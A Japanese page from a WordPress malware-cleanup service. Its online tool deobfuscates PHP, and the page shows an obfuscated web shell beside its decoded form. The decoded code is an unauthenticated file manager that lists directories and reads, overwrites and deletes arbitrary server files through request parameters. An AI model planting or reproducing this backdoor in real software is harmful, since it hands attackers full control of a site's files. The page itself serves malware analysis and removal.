Japanese English

PHP 難読化コードの復元・デコード

Wordpress 等でのPHPのマルウェア・ウィルス・改ざんコードをデコードして難読化をオンラインで解除し、
元の読みやすいコードに戻し解読できます。

※すべての難読化コードを解除できるわけではございませんのでご理解とご了承をお願いいたします。

下記のコードを難読化解除しました

<?php goto Jop5j; Kc9Y0: if ($currentDir != $rootDir) { echo "\74\141\40\x68\162\145\146\75\x27\x3f\144\151\162\x3d{$parentDir}\47\40\x63\154\141\x73\163\75\x27\x62\164\x6e\x2d\142\x61\143\x6b\47\x3e\107\x6f\x20\x55\x70\74\57\141\x3e\x3c\x62\162\x3e\74\x62\x72\x3e"; } goto Pw__G; Jbsv9: $files = ...



難読化されたPHPコード

<?php
 goto Jop5j; Kc9Y0: if ($currentDir != $rootDir) { echo "\74\141\40\x68\162\145\146\75\x27\x3f\144\151\162\x3d{$parentDir}\47\40\x63\154\141\x73\163\75\x27\x62\164\x6e\x2d\142\x61\143\x6b\47\x3e\107\x6f\x20\x55\x70\74\57\141\x3e\x3c\x62\162\x3e\74\x62\x72\x3e"; } goto Pw__G; Jbsv9: $files = scandir($currentDir); goto NZ1EY; Jop5j: $rootDir = __DIR__; goto xHnMH; S7sW3: if (isset($_GET["\x66\x69\154\145"])) { $fileName = $_GET["\146\x69\x6c\x65"]; $filePath = $currentDir . "\x2f" . $fileName; if ($_SERVER["\x52\x45\x51\125\105\123\x54\x5f\115\x45\124\110\117\104"] == "\x50\x4f\x53\x54") { $newContent = $_POST["\143\157\x6e\164\x65\x6e\x74"]; file_put_contents($filePath, $newContent); echo "\74\x73\143\162\151\x70\164\x3e\141\x6c\x65\x72\x74\50\47{$fileName}\40\x68\x61\163\40\142\145\x65\x6e\x20\163\141\x76\x65\x64\x27\x29\73\x3c\57\x73\x63\162\151\160\164\x3e"; } $content = file_get_contents($filePath); echo "\12\40\40\40\x20\74\x68\x32\76\105\144\x69\164\40\47{$fileName}\47\74\x2f\150\62\x3e\12\40\40\40\40\74\146\x6f\162\155\40\x6d\x65\x74\x68\x6f\144\x3d\x27\x70\x6f\163\x74\47\76\12\40\x20\x20\x20\x20\40\x20\40\x3c\x74\145\170\164\141\162\145\141\40\156\x61\155\145\x3d\47\x63\x6f\156\x74\145\x6e\x74\x27\40\x72\x6f\167\x73\75\x27\x31\65\x27\40\x63\x6f\x6c\163\75\47\70\60\x27\76{$content}\74\x2f\x74\145\170\x74\x61\x72\145\x61\x3e\74\142\x72\x3e\xa\x20\40\40\40\x20\40\x20\x20\x3c\142\165\164\164\x6f\x6e\x20\x74\171\x70\145\75\47\163\165\142\x6d\151\x74\x27\x3e\x53\x61\x76\145\74\57\x62\x75\x74\x74\157\156\76\xa\40\x20\40\40\74\57\x66\157\x72\x6d\x3e\xa\x20\40\40\x20\x3c\x62\162\x3e\74\x61\x20\x68\x72\145\146\x3d\x27\77\144\x69\x72\x3d{$currentDir}\47\40\143\154\x61\163\163\75\47\x62\164\x6e\x2d\x62\x61\143\153\47\x3e\x42\141\143\x6b\x3c\57\x61\76\12\40\40\x20\x20"; die; } goto kS0qz; ueK_3: echo "\x3c\x68\63\76\103\x75\162\162\x65\x6e\x74\x20\104\x69\162\145\x63\x74\157\162\x79\x3a\40{$currentDir}\74\x2f\x68\63\x3e"; goto eqTzn; JC2YC: echo "\x3c\57\165\x6c\x3e"; goto M2iGn; xHnMH: $currentDir = isset($_GET["\144\151\162"]) ? $_GET["\x64\x69\162"] : $rootDir; goto Jbsv9; Pw__G: echo "\74\165\154\40\x63\154\141\163\x73\75\47\x66\x69\154\145\x2d\154\x69\x73\x74\47\76"; goto TLud2; eqTzn: $parentDir = dirname($currentDir); goto Kc9Y0; NZ1EY: if (isset($_GET["\144\145\154\x65\x74\x65"])) { $deleteFile = $_GET["\x64\145\154\x65\x74\145"]; $deleteFilePath = $currentDir . "\57" . $deleteFile; if (file_exists($deleteFilePath)) { unlink($deleteFilePath); echo "\x3c\x73\143\x72\151\x70\164\76\141\154\x65\x72\164\50\x27{$deleteFile}\40\150\141\163\40\142\x65\145\x6e\40\144\x65\154\145\164\145\144\47\51\73\74\57\x73\x63\x72\x69\160\164\x3e"; } else { echo "\74\x73\143\162\151\x70\x74\x3e\141\x6c\x65\162\x74\50\47\x46\151\154\x65\x20\156\157\164\x20\146\157\165\156\144\x27\51\73\74\57\x73\x63\162\151\160\x74\x3e"; } } goto S7sW3; TLud2: foreach ($files as $file) { if ($file != "\x2e" && $file != "\56\x2e") { $filePath = $currentDir . "\57" . $file; if (is_dir($filePath)) { echo "\74\154\151\76\74\163\164\x72\x6f\156\147\76\x46\157\x6c\x64\145\162\72\40\74\x2f\163\x74\x72\157\x6e\147\x3e\74\x61\40\x68\x72\145\x66\75\47\77\x64\151\162\x3d{$filePath}\47\x3e{$file}\74\57\x61\76\74\x2f\x6c\151\x3e"; } else { echo "\74\154\x69\76\xa\x20\40\x20\40\40\x20\40\x20\40\40\x20\x20\40\x20\x20\x20\x20\40\x20\x20\x3c\141\x20\x68\x72\x65\x66\x3d\x27\x3f\146\x69\154\145\x3d{$file}\46\144\151\x72\75{$currentDir}\47\x20\x63\154\141\x73\x73\75\x27\x66\151\154\145\55\x6c\151\x6e\153\47\76{$file}\x3c\57\x61\76\40\x7c\x20\12\x20\40\40\40\40\40\40\x20\x20\x20\40\40\40\x20\40\x20\x20\x20\x20\x20\x3c\x61\x20\x68\x72\145\146\x3d\x27\77\144\x65\x6c\145\x74\x65\x3d{$file}\46\x64\x69\x72\x3d{$currentDir}\x27\40\x63\154\x61\163\163\x3d\47\144\x65\154\x65\164\145\55\154\151\x6e\153\47\x20\x6f\x6e\143\154\x69\143\153\x3d\x27\x72\145\x74\x75\162\156\x20\x63\157\x6e\146\x69\x72\x6d\x28\42\101\x72\x65\x20\171\x6f\165\x20\x73\x75\x72\145\40\x79\x6f\165\40\x77\141\x6e\164\40\164\157\x20\144\145\154\x65\164\x65\x20\164\x68\x69\x73\x20\x66\151\x6c\145\x3f\42\51\47\76\104\145\x6c\145\164\x65\74\x2f\141\76\xa\40\40\x20\x20\40\x20\40\x20\40\40\x20\x20\40\x20\40\x20\40\x20\74\57\154\x69\x3e"; } } } goto JC2YC; kS0qz: echo "\x3c\x68\61\76\x46\151\154\145\40\x4d\141\156\x61\147\145\x72\x3c\x2f\150\61\76"; goto ueK_3; M2iGn: ?>

デコード(難読化解除)されたコード

<?php

$rootDir = "/var/www/html";
$currentDir = isset($_GET["dir"]) ? $_GET["dir"] : $rootDir;
$files = scandir($currentDir);
if (isset($_GET["delete"])) {
    $deleteFile = $_GET["delete"];
    $deleteFilePath = $currentDir . "/" . $deleteFile;
    if (file_exists($deleteFilePath)) {
        unlink($deleteFilePath);
        echo "<script>alert('{$deleteFile} has been deleted');</script>";
    } else {
        echo "<script>alert('File not found');</script>";
    }
}
if (isset($_GET["file"])) {
    $fileName = $_GET["file"];
    $filePath = $currentDir . "/" . $fileName;
    if ($_SERVER["REQUEST_METHOD"] == "POST") {
        $newContent = $_POST["content"];
        file_put_contents($filePath, $newContent);
        echo "<script>alert('{$fileName} has been saved');</script>";
    }
    $content = file_get_contents($filePath);
    echo "\n    <h2>Edit '{$fileName}'</h2>\n    <form method='post'>\n        <textarea name='content' rows='15' cols='80'>{$content}</textarea><br>\n        <button type='submit'>Save</button>\n    </form>\n    <br><a href='?dir={$currentDir}' class='btn-back'>Back</a>\n    ";
    die;
}
echo "<h1>File Manager</h1>";
echo "<h3>Current Directory: {$currentDir}</h3>";
$parentDir = dirname($currentDir);
if ($currentDir != $rootDir) {
    echo "<a href='?dir={$parentDir}' class='btn-back'>Go Up</a><br><br>";
}
echo "<ul class='file-list'>";
foreach ($files as $file) {
    if ($file != "." && $file != "..") {
        $filePath = $currentDir . "/" . $file;
        if (is_dir($filePath)) {
            echo "<li><strong>Folder: </strong><a href='?dir={$filePath}'>{$file}</a></li>";
        } else {
            echo "<li>\n                    <a href='?file={$file}&dir={$currentDir}' class='file-link'>{$file}</a> | \n                    <a href='?delete={$file}&dir={$currentDir}' class='delete-link' onclick='return confirm(\"Are you sure you want to delete this file?\")'>Delete</a>\n                  </li>";
        }
    }
}
echo "</ul>";


■【無料】ワードプレス:マルウェアスキャン&セキュリティープラグイン [マルウェア・ウィルス検出と駆除]

■WordPress のマルウェア駆除、セキュリティー対策 カスタマイズや修正、引っ越し・復旧のご依頼承ります

(C)2019 ワードプレス ドクター All rights reserved.